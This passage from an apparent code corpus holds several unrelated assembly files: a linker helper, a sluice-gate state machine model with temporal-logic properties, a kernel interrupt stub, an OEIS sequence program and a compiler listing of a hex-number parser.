; ECX = row size, in bytes.
; Returns: EAX holds the sum.
;------------------------------------------------------------
mul ecx ; row index * row size
add ebx,eax ; row offset
mov eax,0 ; accumulator
mov esi,0 ; column index
L1: movzx edx,BYTE PTR[ebx + esi] ; get a byte
add eax,edx ; add to accumulator
inc esi ; next byte in row
loop L1
ret
calc_row_sum ENDP
END main |
ntio/dot.asm | DigitalMars/optlink | 28 | 92815 | <gh_stars>10-100
INCLUDE MACROS
.CODE ROOT_TEXT
EXTERNDEF LOUTALL_CON:PROC
PUBLIC DOT
DOT PROC
;
;
;
PUSHAD
MOV EAX,OFF DOT_DAT
MOV ECX,1
CALL LOUTALL_CON
POPAD
RET
DOT ENDP
.DATA
DOT_DAT DB '.'
END
|
TVSW/Model Verification/Esercitazioni/SluiceGateMotorCtl.asm | samuelexferri/unibg-workspace | 0 | 319 | <gh_stars>0
asm SluiceGateMotorCtl
//from the paper "The Abstract State Machines Method for High-Level System Design and Analysis" by <NAME>
import ../STDL/StandardLibrary
import ../STDL/CTLlibrary
signature:
domain Minutes subsetof Integer
enum domain PhaseDomain = { FULLYCLOSED | OPENING | FULLYOPENED | CLOSING }
enum domain DirectionDomain = { CLOCKWISE | ANTICLOCKWISE }
enum domain MotorDomain = { ON | OFF }
dynamic controlled phase: PhaseDomain
dynamic controlled dir: DirectionDomain
dynamic controlled motor: MotorDomain
dynamic monitored passed: Minutes -> Boolean
dynamic monitored event_top: Boolean
dynamic monitored event_bottom: Boolean
definitions:
domain Minutes = {10, 170}
rule r_start_to_raise =
par
dir := CLOCKWISE
motor := ON
endpar
rule r_start_to_lower =
par
dir := ANTICLOCKWISE
motor := ON
endpar
rule r_stop_motor =
motor := OFF
//if the state is FULLYCLOSED either it remains FULLYCLOSED or it becomes OPENING
CTLSPEC ag(phase=FULLYCLOSED implies ax(phase=FULLYCLOSED or phase=OPENING))
CTLSPEC ag(phase=OPENING implies ax(phase=OPENING or phase=FULLYOPENED))
CTLSPEC ag(phase=FULLYOPENED implies ax(phase=FULLYOPENED or phase=CLOSING))
CTLSPEC ag(phase=CLOSING implies ax(phase=CLOSING or phase=FULLYCLOSED))
//properties on the relationship between the state and the motor
CTLSPEC ag(phase=FULLYCLOSED implies motor = OFF)
CTLSPEC ag(phase=FULLYOPENED implies motor = OFF)
CTLSPEC ag(phase=OPENING implies motor = ON)
CTLSPEC ag(phase=CLOSING implies motor = ON)
//liveness
CTLSPEC ag(phase = FULLYOPENED implies ef(phase = FULLYCLOSED))
CTLSPEC ag(phase = FULLYCLOSED implies ef(phase = FULLYOPENED))
main rule r_Main =
par
if(phase=FULLYCLOSED) then
if(passed(170)) then
par
r_start_to_raise[]
phase := OPENING
endpar
endif
endif
if(phase=OPENING) then
if(event_top) then
par
r_stop_motor[]
phase := FULLYOPENED
endpar
endif
endif
if(phase=FULLYOPENED) then
if(passed(10)) then
par
r_start_to_lower[]
phase := CLOSING
endpar
endif
endif
if(phase=CLOSING) then
if(event_bottom) then
par
r_stop_motor[]
phase := FULLYCLOSED
endpar
endif
endif
endpar
default init s0:
function phase = FULLYCLOSED
function motor = OFF
|
int.asm | Zenol/kos | 0 | 97244 | ;;
;; int.asm for kos in /home/cochoy_j/svn/kos/trunk
;;
;; Made by <NAME>
;; Login <<EMAIL>>
;;
;; Started on Sun Apr 19 23:56:20 2009 <NAME>
;; Last update Mon Apr 20 00:14:13 2009 <NAME>
;;
[EXTERN int_default]
[GLOBAL asm_int_default]
asm_int_default:
call int_default
mov al, 0x20
out 0x20, al
iret
|
programs/oeis/088/A088520.asm | neoneye/loda | 22 | 6366 | ; A088520: Permutation of natural numbers generated by 3-rowed array shown below.
; 1,5,2,7,4,3,11,8,6,13,10,9,17,14,12,19,16,15,23,20,18,25,22,21,29,26,24,31,28,27,35,32,30,37,34,33,41,38,36,43,40,39,47,44,42,49,46,45,53,50,48,55,52,51,59,56,54,61,58,57,65,62,60,67,64,63,71,68,66,73,70,69
seq $0,116551 ; Permutation of natural numbers generated by 3-rowed array shown below.
seq $0,131717 ; Natural numbers A000027 with 6n+4 and 6n+5 terms swapped.
|
Palmtree.Math.Core.Implements/vs_build/x86_Release/pmc_parse.asm | rougemeilland/Palmtree.Math.Core.Implements | 0 | 8403 | ; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27026.1
TITLE Z:\Sources\Lunor\Repos\rougemeilland\Palmtree.Math.Core.Implements\Palmtree.Math.Core.Implements\pmc_parse.c
.686P
.XMM
include listing.inc
.model flat
INCLUDELIB MSVCRT
INCLUDELIB OLDNAMES
PUBLIC _Initialize_Parse
PUBLIC _PMC_TryParse@16
PUBLIC ??_C@_13DEFPDAGF@?$AA?0@ ; `string'
PUBLIC ??_C@_13JOFGPIOO@?$AA?4@ ; `string'
PUBLIC ??_C@_01EKENIIDA@3@ ; `string'
PUBLIC ??_C@_13KJIIAINM@?$AA?$CL@ ; `string'
PUBLIC ??_C@_13IMODFHAA@?$AA?9@ ; `string'
EXTRN __imp__lstrcpyA@8:PROC
EXTRN __imp__lstrcpyW@8:PROC
EXTRN __imp__lstrlenW@4:PROC
EXTRN _AllocateBlock:PROC
EXTRN _DeallocateBlock:PROC
EXTRN _CheckBlockLight:PROC
EXTRN _AllocateNumber:PROC
EXTRN _DeallocateNumber:PROC
EXTRN _CommitNumber:PROC
EXTRN @__security_check_cookie@4:PROC
EXTRN _number_zero:BYTE
EXTRN _statistics_info:BYTE
EXTRN ___security_cookie:DWORD
_BSS SEGMENT
_default_number_format_option DB 028H DUP (?)
_fp_MultiplyAndAdd DD 01H DUP (?)
_BSS ENDS
; COMDAT ??_C@_13IMODFHAA@?$AA?9@
CONST SEGMENT
??_C@_13IMODFHAA@?$AA?9@ DB '-', 00H, 00H, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_13KJIIAINM@?$AA?$CL@
CONST SEGMENT
??_C@_13KJIIAINM@?$AA?$CL@ DB '+', 00H, 00H, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_01EKENIIDA@3@
CONST SEGMENT
??_C@_01EKENIIDA@3@ DB '3', 00H ; `string'
CONST ENDS
; COMDAT ??_C@_13JOFGPIOO@?$AA?4@
CONST SEGMENT
??_C@_13JOFGPIOO@?$AA?4@ DB '.', 00H, 00H, 00H ; `string'
CONST ENDS
; COMDAT ??_C@_13DEFPDAGF@?$AA?0@
CONST SEGMENT
??_C@_13DEFPDAGF@?$AA?0@ DB ',', 00H, 00H, 00H ; `string'
CONST ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _TryParseX
_TEXT SEGMENT
_o_light_check_code$ = -100 ; size = 4
_o$GSCopy$1$ = -96 ; size = 4
_int_part_buf_code$ = -92 ; size = 4
_int_part_buf_words$ = -88 ; size = 4
_state$1 = -84 ; size = 80
__$ArrayPad$ = -4 ; size = 4
_source$ = 8 ; size = 4
_number_styles$ = 12 ; size = 4
_format_option$ = 16 ; size = 4
_o$ = 20 ; size = 4
_TryParseX PROC ; COMDAT
; 968 : {
push ebp
mov ebp, esp
sub esp, 100 ; 00000064H
mov eax, DWORD PTR ___security_cookie
xor eax, ebp
mov DWORD PTR __$ArrayPad$[ebp], eax
mov eax, DWORD PTR _o$[ebp]
push ebx
mov ebx, DWORD PTR _format_option$[ebp]
push esi
push edi
mov edi, DWORD PTR _source$[ebp]
; 969 : PMC_STATUS_CODE result;
; 970 : __UNIT_TYPE source_len = lstrlenW(source);
push edi
mov DWORD PTR _o$GSCopy$1$[ebp], eax
call DWORD PTR __imp__lstrlenW@4
; 971 : __UNIT_TYPE int_part_buf_code;
; 972 : __UNIT_TYPE int_part_buf_words;
; 973 : wchar_t* int_part_buf = (wchar_t*)AllocateBlock((source_len + 1) * sizeof(wchar_t) * 8, &int_part_buf_words, &int_part_buf_code);
lea ecx, DWORD PTR _int_part_buf_code$[ebp]
inc eax
push ecx
lea ecx, DWORD PTR _int_part_buf_words$[ebp]
shl eax, 4
push ecx
push eax
call _AllocateBlock
mov esi, eax
add esp, 12 ; 0000000cH
; 974 : if (int_part_buf == NULL)
test esi, esi
jne SHORT $LN2@TryParseX
; 975 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
pop edi
lea eax, DWORD PTR [esi-5]
; 997 : }
pop esi
pop ebx
mov ecx, DWORD PTR __$ArrayPad$[ebp]
xor ecx, ebp
call @__security_check_cookie@4
mov esp, ebp
pop ebp
ret 0
$LN2@TryParseX:
; 289 : InitializeParserState(&state, in_ptr, number_styles, format_option, int_part_buf, NULL);
push 0
push esi
push ebx
mov ebx, DWORD PTR _number_styles$[ebp]
lea eax, DWORD PTR _state$1[ebp]
push ebx
push edi
push eax
call _InitializeParserState
add esp, 24 ; 00000018H
; 290 : if (number_styles & PMC_NUMBER_STYLE_ALLOW_LEADING_WHITE)
test bl, 1
je SHORT $LN46@TryParseX
; 113 : switch (*state->IN_PTR)
mov ecx, DWORD PTR _state$1[ebp]
movzx eax, WORD PTR [ecx]
cmp eax, 9
jb SHORT $LN46@TryParseX
npad 6
$LL15@TryParseX:
cmp eax, 13 ; 0000000dH
jbe SHORT $LN20@TryParseX
cmp eax, 32 ; 00000020H
jne SHORT $LN46@TryParseX
$LN20@TryParseX:
; 114 : {
; 115 : case L' ':
; 116 : case L'\t':
; 117 : case L'\n':
; 118 : case L'\r':
; 119 : case L'\f':
; 120 : case L'\v':
; 121 : break;
; 122 :
; 123 : default:
; 124 : return;
; 125 : }
; 126 : state->IN_PTR += 1;
add ecx, 2
mov DWORD PTR _state$1[ebp], ecx
movzx eax, WORD PTR [ecx]
cmp eax, 9
jae SHORT $LL15@TryParseX
$LN46@TryParseX:
; 292 : ParseAsIntegerPartNumberSequence(&state);
lea eax, DWORD PTR _state$1[ebp]
push eax
call _ParseAsIntegerPartNumberSequence
; 293 : if (number_styles & PMC_NUMBER_STYLE_ALLOW_TRAILING_WHITE)
mov eax, DWORD PTR _state$1[ebp]
add esp, 4
test bl, 2
je SHORT $LN38@TryParseX
; 113 : switch (*state->IN_PTR)
movzx ecx, WORD PTR [eax]
cmp ecx, 9
jb SHORT $LN38@TryParseX
$LL24@TryParseX:
cmp ecx, 13 ; 0000000dH
jbe SHORT $LN29@TryParseX
cmp ecx, 32 ; 00000020H
jne SHORT $LN38@TryParseX
$LN29@TryParseX:
; 114 : {
; 115 : case L' ':
; 116 : case L'\t':
; 117 : case L'\n':
; 118 : case L'\r':
; 119 : case L'\f':
; 120 : case L'\v':
; 121 : break;
; 122 :
; 123 : default:
; 124 : return;
; 125 : }
; 126 : state->IN_PTR += 1;
add eax, 2
mov DWORD PTR _state$1[ebp], eax
movzx ecx, WORD PTR [eax]
cmp ecx, 9
jae SHORT $LL24@TryParseX
$LN38@TryParseX:
; 295 : if (*state.IN_PTR != L'\0')
cmp WORD PTR [eax], 0
je SHORT $LN12@TryParseX
; 296 : return (0);
xor edi, edi
jmp SHORT $LN9@TryParseX
$LN12@TryParseX:
; 103 : *state->INT_PART_PTR = L'\0';
mov eax, DWORD PTR _state$1[ebp+72]
xor ecx, ecx
mov WORD PTR [eax], cx
; 104 : if (state->NUMBER_STYLES & PMC_NUMBER_STYLE_ALLOW_DECIMAL_POINT)
test BYTE PTR _state$1[ebp+4], 32 ; 00000020H
je SHORT $LN33@TryParseX
; 105 : *state->FRAC_PART_PTR = L'\0';
mov eax, DWORD PTR _state$1[ebp+76]
mov WORD PTR [eax], cx
$LN33@TryParseX:
; 298 : return (1);
mov edi, 1
$LN9@TryParseX:
; 976 : int result_parsing = ParseAsHexNumberString(source, number_styles, format_option, int_part_buf);
; 977 : if ((result = CheckBlockLight((__UNIT_TYPE*)int_part_buf, int_part_buf_code)) != PMC_STATUS_OK)
push DWORD PTR _int_part_buf_code$[ebp]
push esi
call _CheckBlockLight
add esp, 8
test eax, eax
jne $LN1@TryParseX
; 978 : return (result);
; 979 : if (!result_parsing || int_part_buf[0] == L'\0')
test edi, edi
je $LN5@TryParseX
cmp WORD PTR [esi], ax
je $LN5@TryParseX
; 983 : }
; 984 : __UNIT_TYPE o_bit_count = lstrlenW(int_part_buf) * 4;
push esi
call DWORD PTR __imp__lstrlenW@4
; 985 : __UNIT_TYPE o_light_check_code;
; 986 : if ((result = AllocateNumber(o, o_bit_count, &o_light_check_code)) != PMC_STATUS_OK)
mov ebx, DWORD PTR _o$GSCopy$1$[ebp]
lea ecx, DWORD PTR _o_light_check_code$[ebp]
push ecx
shl eax, 2
push eax
push ebx
call _AllocateNumber
mov edi, eax
add esp, 12 ; 0000000cH
test edi, edi
je SHORT $LN6@TryParseX
; 987 : {
; 988 : DeallocateBlock((__UNIT_TYPE*)int_part_buf, int_part_buf_words);
push DWORD PTR _int_part_buf_words$[ebp]
push esi
call _DeallocateBlock
; 997 : }
add esp, 8
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, DWORD PTR __$ArrayPad$[ebp]
xor ecx, ebp
call @__security_check_cookie@4
mov esp, ebp
pop ebp
ret 0
$LN6@TryParseX:
; 989 : return (result);
; 990 : }
; 991 : BuildBinaryFromHexString(int_part_buf, (*o)->BLOCK);
mov eax, DWORD PTR [ebx]
push DWORD PTR [eax+32]
push esi
call _BuildBinaryFromHexString
; 992 : if ((result = CheckBlockLight((*o)->BLOCK, o_light_check_code)) != PMC_STATUS_OK)
mov eax, DWORD PTR [ebx]
push DWORD PTR _o_light_check_code$[ebp]
push DWORD PTR [eax+32]
call _CheckBlockLight
add esp, 16 ; 00000010H
test eax, eax
jne SHORT $LN1@TryParseX
; 993 : return (result);
; 994 : DeallocateBlock((__UNIT_TYPE*)int_part_buf, int_part_buf_words);
push DWORD PTR _int_part_buf_words$[ebp]
push esi
call _DeallocateBlock
; 995 : CommitNumber(*o);
push DWORD PTR [ebx]
call _CommitNumber
add esp, 12 ; 0000000cH
; 996 : return (PMC_STATUS_OK);
xor eax, eax
pop edi
; 997 : }
pop esi
pop ebx
mov ecx, DWORD PTR __$ArrayPad$[ebp]
xor ecx, ebp
call @__security_check_cookie@4
mov esp, ebp
pop ebp
ret 0
$LN5@TryParseX:
; 980 : {
; 981 : DeallocateBlock((__UNIT_TYPE*)int_part_buf, int_part_buf_words);
push DWORD PTR _int_part_buf_words$[ebp]
push esi
call _DeallocateBlock
; 982 : return (PMC_STATUS_PARSING_ERROR);
mov eax, 1
; 997 : }
add esp, 8
$LN1@TryParseX:
mov ecx, DWORD PTR __$ArrayPad$[ebp]
pop edi
pop esi
xor ecx, ebp
pop ebx
call @__security_check_cookie@4
mov esp, ebp
pop ebp
ret 0
_TryParseX ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _BuildBinaryFromHexString
_TEXT SEGMENT
_in_ptr$1$ = -20 ; size = 4
tv478 = -16 ; size = 4
tv479 = -12 ; size = 4
tv477 = -8 ; size = 4
_r$1$ = -8 ; size = 4
tv487 = -4 ; size = 4
_source_count$1$ = -4 ; size = 4
_source$ = 8 ; size = 4
_out_ptr$1$ = 12 ; size = 4
_out_buf$ = 12 ; size = 4
_BuildBinaryFromHexString PROC ; COMDAT
; 947 : {
push ebp
mov ebp, esp
sub esp, 20 ; 00000014H
push ebx
; 949 : __UNIT_TYPE source_count = lstrlenW(source);
mov ebx, DWORD PTR _source$[ebp]
push esi
push edi
push ebx
call DWORD PTR __imp__lstrlenW@4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 194 : return ((u + v - 1) / v);
mov ecx, DWORD PTR _out_buf$[ebp]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 949 : __UNIT_TYPE source_count = lstrlenW(source);
mov esi, eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 194 : return ((u + v - 1) / v);
sub ecx, 4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 949 : __UNIT_TYPE source_count = lstrlenW(source);
mov DWORD PTR _source_count$1$[ebp], esi
; 952 : int r = source_count % word_digit_count;
mov edi, esi
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 194 : return ((u + v - 1) / v);
lea eax, DWORD PTR [esi+7]
shr eax, 3
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 952 : int r = source_count % word_digit_count;
and edi, 7
mov DWORD PTR _r$1$[ebp], edi
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 194 : return ((u + v - 1) / v);
lea eax, DWORD PTR [ecx+eax*4]
mov DWORD PTR _out_ptr$1$[ebp], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 953 : if (r > 0)
jle SHORT $LN35@BuildBinar
; 901 : __UNIT_TYPE x = Parse1DigitFromHexChar(*in_ptr);
movzx eax, WORD PTR [ebx]
push eax
call _Parse1DigitFromHexChar
add esp, 4
; 902 : ++in_ptr;
lea edx, DWORD PTR [ebx+2]
mov ecx, eax
; 903 : --count;
add edi, -1
; 904 : while (count > 0)
je SHORT $LN10@BuildBinar
npad 6
$LL9@BuildBinar:
; 905 : {
; 906 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr);
movzx esi, WORD PTR [edx]
; 867 : switch (c)
lea eax, DWORD PTR [esi-48]
cmp eax, 54 ; 00000036H
ja SHORT $LN18@BuildBinar
movzx eax, BYTE PTR $LN42@BuildBinar[eax]
jmp DWORD PTR $LN45@BuildBinar[eax*4]
$LN15@BuildBinar:
; 868 : {
; 869 : case L'0':
; 870 : case L'1':
; 871 : case L'2':
; 872 : case L'3':
; 873 : case L'4':
; 874 : case L'5':
; 875 : case L'6':
; 876 : case L'7':
; 877 : case L'8':
; 878 : case L'9':
; 879 : return (c - L'0');
lea eax, DWORD PTR [esi-48]
jmp SHORT $LN12@BuildBinar
$LN16@BuildBinar:
; 880 : case L'a':
; 881 : case L'b':
; 882 : case L'c':
; 883 : case L'd':
; 884 : case L'e':
; 885 : case L'f':
; 886 : return (c - L'a' + 10);
lea eax, DWORD PTR [esi-87]
jmp SHORT $LN12@BuildBinar
$LN17@BuildBinar:
; 887 : case L'A':
; 888 : case L'B':
; 889 : case L'C':
; 890 : case L'D':
; 891 : case L'E':
; 892 : case L'F':
; 893 : return (c - L'A' + 10);
lea eax, DWORD PTR [esi-55]
jmp SHORT $LN12@BuildBinar
$LN18@BuildBinar:
; 894 : default:
; 895 : return ((_UINT32_T)-1);
or eax, -1
$LN12@BuildBinar:
; 906 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr);
shl ecx, 4
; 907 : ++in_ptr;
add edx, 2
add ecx, eax
; 908 : --count;
sub edi, 1
jne SHORT $LL9@BuildBinar
mov esi, DWORD PTR _source_count$1$[ebp]
$LN10@BuildBinar:
; 954 : {
; 955 : *out_ptr-- = BuildLeading1WordFromHexString(in_ptr, r);
mov eax, DWORD PTR _out_ptr$1$[ebp]
mov DWORD PTR [eax], ecx
sub eax, 4
mov DWORD PTR _out_ptr$1$[ebp], eax
; 956 : in_ptr += r;
mov eax, DWORD PTR _r$1$[ebp]
; 957 : source_count -= r;
sub esi, eax
lea ebx, DWORD PTR [ebx+eax*2]
mov DWORD PTR _source$[ebp], ebx
$LN35@BuildBinar:
; 958 : }
; 959 : while (source_count > 0)
test esi, esi
je $LN3@BuildBinar
lea ecx, DWORD PTR [esi-1]
shr ecx, 3
inc ecx
mov DWORD PTR tv487[ebp], ecx
$LL2@BuildBinar:
; 915 : __UNIT_TYPE x = Parse1DigitFromHexChar(*in_ptr++);
movzx esi, WORD PTR [ebx]
; 867 : switch (c)
lea eax, DWORD PTR [esi-48]
cmp eax, 54 ; 00000036H
ja SHORT $LN32@BuildBinar
movzx eax, BYTE PTR $LN43@BuildBinar[eax]
jmp DWORD PTR $LN46@BuildBinar[eax*4]
$LN29@BuildBinar:
; 868 : {
; 869 : case L'0':
; 870 : case L'1':
; 871 : case L'2':
; 872 : case L'3':
; 873 : case L'4':
; 874 : case L'5':
; 875 : case L'6':
; 876 : case L'7':
; 877 : case L'8':
; 878 : case L'9':
; 879 : return (c - L'0');
shl esi, 4
sub esi, 768 ; 00000300H
jmp SHORT $LN26@BuildBinar
$LN30@BuildBinar:
; 880 : case L'a':
; 881 : case L'b':
; 882 : case L'c':
; 883 : case L'd':
; 884 : case L'e':
; 885 : case L'f':
; 886 : return (c - L'a' + 10);
shl esi, 4
sub esi, 1392 ; 00000570H
jmp SHORT $LN26@BuildBinar
$LN31@BuildBinar:
; 887 : case L'A':
; 888 : case L'B':
; 889 : case L'C':
; 890 : case L'D':
; 891 : case L'E':
; 892 : case L'F':
; 893 : return (c - L'A' + 10);
shl esi, 4
sub esi, 880 ; 00000370H
jmp SHORT $LN26@BuildBinar
$LN32@BuildBinar:
; 894 : default:
; 895 : return ((_UINT32_T)-1);
mov esi, -16 ; fffffff0H
$LN26@BuildBinar:
; 932 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
movzx ecx, WORD PTR [ebx+8]
lea edx, DWORD PTR [ebx+2]
movzx eax, WORD PTR [edx]
movzx edi, WORD PTR [edx+2]
movzx ebx, WORD PTR [edx+4]
mov DWORD PTR tv479[ebp], ecx
; 933 : }
; 934 : if (sizeof(__UNIT_TYPE) >= sizeof(_UINT16_T))
; 935 : {
; 936 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
movzx ecx, WORD PTR [edx+8]
add edx, 10 ; 0000000aH
push eax
mov DWORD PTR tv478[ebp], ecx
mov DWORD PTR _in_ptr$1$[ebp], edx
call _Parse1DigitFromHexChar
; 937 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 938 : }
; 939 : if (sizeof(__UNIT_TYPE) >= sizeof(_BYTE_T))
; 940 : {
; 941 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
add eax, esi
mov esi, eax
mov DWORD PTR tv477[ebp], eax
push edi
shl esi, 4
call _Parse1DigitFromHexChar
add esi, eax
push ebx
shl esi, 4
call _Parse1DigitFromHexChar
push DWORD PTR tv479[ebp]
add esi, eax
shl esi, 4
call _Parse1DigitFromHexChar
push DWORD PTR tv478[ebp]
add esi, eax
shl esi, 4
call _Parse1DigitFromHexChar
mov edi, DWORD PTR _in_ptr$1$[ebp]
add esi, eax
shl esi, 4
movzx eax, WORD PTR [edi]
push eax
call _Parse1DigitFromHexChar
add esi, eax
movzx eax, WORD PTR [edi+2]
push eax
shl esi, 4
call _Parse1DigitFromHexChar
; 960 : {
; 961 : *out_ptr-- = Build1WordFromHexString(in_ptr);
mov edx, DWORD PTR _out_ptr$1$[ebp]
; 941 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
add esi, eax
; 962 : in_ptr += word_digit_count;
mov ebx, DWORD PTR _source$[ebp]
; 941 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
add esp, 28 ; 0000001cH
; 962 : in_ptr += word_digit_count;
add ebx, 16 ; 00000010H
mov DWORD PTR _source$[ebp], ebx
mov DWORD PTR [edx], esi
sub edx, 4
sub DWORD PTR tv487[ebp], 1
mov DWORD PTR _out_ptr$1$[ebp], edx
jne $LL2@BuildBinar
$LN3@BuildBinar:
pop edi
; 963 : source_count -= word_digit_count;
; 964 : }
; 965 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
npad 3
$LN45@BuildBinar:
DD $LN15@BuildBinar
DD $LN17@BuildBinar
DD $LN16@BuildBinar
DD $LN18@BuildBinar
$LN42@BuildBinar:
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 1
DB 1
DB 1
DB 1
DB 1
DB 1
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 2
DB 2
DB 2
DB 2
DB 2
DB 2
npad 1
$LN46@BuildBinar:
DD $LN29@BuildBinar
DD $LN31@BuildBinar
DD $LN30@BuildBinar
DD $LN32@BuildBinar
$LN43@BuildBinar:
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 1
DB 1
DB 1
DB 1
DB 1
DB 1
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 2
DB 2
DB 2
DB 2
DB 2
DB 2
_BuildBinaryFromHexString ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _Build1WordFromHexString
_TEXT SEGMENT
tv174 = -12 ; size = 4
tv175 = -8 ; size = 4
tv173 = -4 ; size = 4
_in_ptr$ = 8 ; size = 4
_Build1WordFromHexString PROC ; COMDAT
; 914 : {
push ebp
mov ebp, esp
sub esp, 12 ; 0000000cH
; 915 : __UNIT_TYPE x = Parse1DigitFromHexChar(*in_ptr++);
mov edx, DWORD PTR _in_ptr$[ebp]
push ebx
push esi
push edi
movzx eax, WORD PTR [edx]
add edx, 2
push eax
; 916 : if (sizeof(__UNIT_TYPE) >= sizeof(_UINT64_T))
; 917 : {
; 918 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 919 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 920 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 921 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 922 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 923 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 924 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 925 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 926 : }
; 927 : if (sizeof(__UNIT_TYPE) >= sizeof(_UINT32_T))
; 928 : {
; 929 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 930 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 931 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 932 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
movzx ecx, WORD PTR [edx+6]
movzx esi, WORD PTR [edx]
movzx edi, WORD PTR [edx+2]
movzx ebx, WORD PTR [edx+4]
mov DWORD PTR tv175[ebp], ecx
; 933 : }
; 934 : if (sizeof(__UNIT_TYPE) >= sizeof(_UINT16_T))
; 935 : {
; 936 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
movzx ecx, WORD PTR [edx+8]
add edx, 10 ; 0000000aH
mov DWORD PTR tv174[ebp], ecx
mov DWORD PTR _in_ptr$[ebp], edx
call _Parse1DigitFromHexChar
shl eax, 4
push esi
mov DWORD PTR tv173[ebp], eax
call _Parse1DigitFromHexChar
; 937 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
; 938 : }
; 939 : if (sizeof(__UNIT_TYPE) >= sizeof(_BYTE_T))
; 940 : {
; 941 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr++);
mov esi, DWORD PTR tv173[ebp]
add esi, eax
push edi
shl esi, 4
call _Parse1DigitFromHexChar
add esi, eax
push ebx
shl esi, 4
call _Parse1DigitFromHexChar
push DWORD PTR tv175[ebp]
add esi, eax
shl esi, 4
call _Parse1DigitFromHexChar
push DWORD PTR tv174[ebp]
add esi, eax
shl esi, 4
call _Parse1DigitFromHexChar
mov edi, DWORD PTR _in_ptr$[ebp]
add esi, eax
shl esi, 4
movzx eax, WORD PTR [edi]
push eax
call _Parse1DigitFromHexChar
add esi, eax
movzx eax, WORD PTR [edi+2]
push eax
shl esi, 4
call _Parse1DigitFromHexChar
add esp, 32 ; 00000020H
add eax, esi
; 942 : }
; 943 : return (x);
pop edi
pop esi
pop ebx
; 944 : }
mov esp, ebp
pop ebp
ret 0
_Build1WordFromHexString ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
